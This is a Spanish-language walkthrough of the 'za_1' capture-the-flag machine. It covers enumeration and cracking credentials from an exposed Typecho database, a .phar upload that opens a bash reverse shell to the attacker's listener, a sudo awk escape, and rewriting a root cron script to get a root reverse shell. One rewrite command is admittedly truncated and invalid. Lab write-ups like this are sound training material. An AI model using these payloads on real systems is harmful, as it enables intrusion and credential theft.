046 - za_1 - wh01s17

Enumeración de servicios

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.45
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.45

Nmap scan report for 192.168.1.45
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 36:32:5b:78:d0:f4:3c:9f:05:1a:a7:13:91:3e:38:c1 (RSA)
|   256 72:07:82:15:26:ce:13:34:e8:42:cf:da:de:e2:a7:14 (ECDSA)
|_  256 fc:9c:66:46:86:60:1a:29:32:c6:1f:ec:b2:47:b8:74 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Zacarx's blog
|_http-generator: Typecho 1.2.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 16 18:11:51 2024 -- 1 IP address (1 host up) scanned in 7.13 seconds

Enumeramos con gobuster:

❯ gobuster dir -u http://192.168.1.45 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
/index.php            (Status: 200) [Size: 6806]
/admin                (Status: 200) [Size: 7773]
/install              (Status: 200) [Size: 1941]
/install.php          (Status: 200) [Size: 6806]
/sql                  (Status: 200) [Size: 1131]
/LICENSE.txt          (Status: 200) [Size: 14974]
/var                  (Status: 200) [Size: 1505]
/usr                  (Status: 200) [Size: 1534]

Database Exposure y Credential Exposure

En /usr/ hay una base SQLite descargable con usuarios y hashes de Typecho. El problema no es SQLite, sino publicar una copia de la base de datos dentro de una ruta accesible por HTTP, fuera del control de acceso de la aplicación:

❯ sqlite3 64c0dcaf26f51.db
sqlite> .tables
typechocomments       typechometas          typechousers
typechocontents       typechooptions
typechofields         typechorelationships

sqlite> select * from typechousers;
1|zacarx|$P$BhtuFbhEVoGBElFj8n2HXUwtq5qiMR.|zacarx@qq.com|http://www.zacarx.com|zacarx|1690361071|1692694072|1690364323|administrator|9ceb10d83b32879076c132c6b6712318
2|admin|$P$BERw7FPX6NWOVdTHpxON5aaj8VGMFs0|admin@11.com||admin|1690364171|1690365357|1690364540|administrator|5664b205a3c088256fdc807791061a18

Crackeamos el hash de admin con John. El resultado 123456 es un caso directo de Weak Password recuperada fuera de línea:

❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt admin_hash
...
123456           (?)
...

Descubrimos un dominio que añadimos a /etc/hosts. En http://za1.hmv/sql/ hay además un secret.sql con credenciales en texto claro. Esta segunda exposición evita incluso la necesidad de crackear el secreto de zacarx:

❯ sqlite3 sercet.sql
sqlite> select * from typechousers;
1|zacarx|zacarx|zacarx@qq.com|http://www.zacarx.com|zacarx|1690361071|1690361382|0|administrator|614fd5024f59717740b137dd35ba5242

Unrestricted File Upload RCE

Iniciamos sesión como zacarx y comprobamos una Unrestricted File Upload RCE. El filtro bloquea la extensión .php, pero permite .phar; como Apache/PHP también interpreta esa extensión en la ruta publicada, cambiar el sufijo conserva la capacidad de ejecutar código. Ajustamos la configuración, editamos un artículo y subimos la webshell:

❯ cat reverse.phar
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>

Accedemos a la ruta de subida y recibimos la shell como www-data:

http://za1.hmv/usr/uploads/2024/03/1740179352.phar

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
id
Ncat: Connection from 192.168.1.45:36254.
bash: cannot set terminal process group (1196): Inappropriate ioctl for device
bash: no job control in this shell
www-data@za_1:/var/www/html/usr/uploads/2024/03$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@za_1:/var/www/html/usr/uploads/2024/03$

Sudo-Allowed Program Abuse

Obtenemos la primera flag. Para escalar, revisamos sudo -l:

www-data@za_1:/home/za_1$ sudo -l
Matching Defaults entries for www-data on za_1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on za_1:
    (za_1) NOPASSWD: /usr/bin/awk

La regla deriva en Sudo-Allowed Program Abuse porque awk incluye la función system(). El proceso hijo hereda la identidad za_1 seleccionada por sudo, por lo que la usamos para obtener una shell como ese usuario:

www-data@za_1:/home/za_1$ sudo -u za_1 awk 'BEGIN {system("/bin/bash")}'
za_1@za_1:~$ whoami
za_1

En ~/.root hay un script que copia la base de datos y abre una backdoor hacia una IP. La conexión posterior como root confirma que una tarea privilegiada lo ejecuta periódicamente:

za_1@za_1:~/.root$ cat back.sh
#!/bin/bash

cp /var/www/html/usr/64c0dcaf26f51.db /var/www/html/sql/new.sql

bash -i >&/dev/tcp/10.0.2.18/999 0>&1

El archivo es otro Writable Privileged Executable File: za_1 controla el contenido, mientras root aporta el contexto de ejecución. La captura original del comando de reescritura quedó truncada y concatena texto de forma inválida. Se conserva sin corregir para no inventar la orden exacta; la conexión posterior sólo demuestra que el script terminó apuntando al listener 192.168.1.10:4321:

za_1@za_1:~/.root$ echo '#!/bin/bash
cp /var/www/html/usr/64c0dcaf26f51.db /var/www/html/sql/new.sql

bash -i >&/dev/tcp/192.168.1.10/4321 0>&1echo '#!/bin/bash' > back.sh

❯ ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
id
Ncat: Connection from 192.168.1.45:54286.
bash: cannot set terminal process group (6175): Inappropriate ioctl for device
bash: no job control in this shell
root@za_1:~# id
uid=0(root) gid=0(root) groups=0(root)
root@za_1:~#

Conseguimos una shell de root y capturamos la flag.

Fin.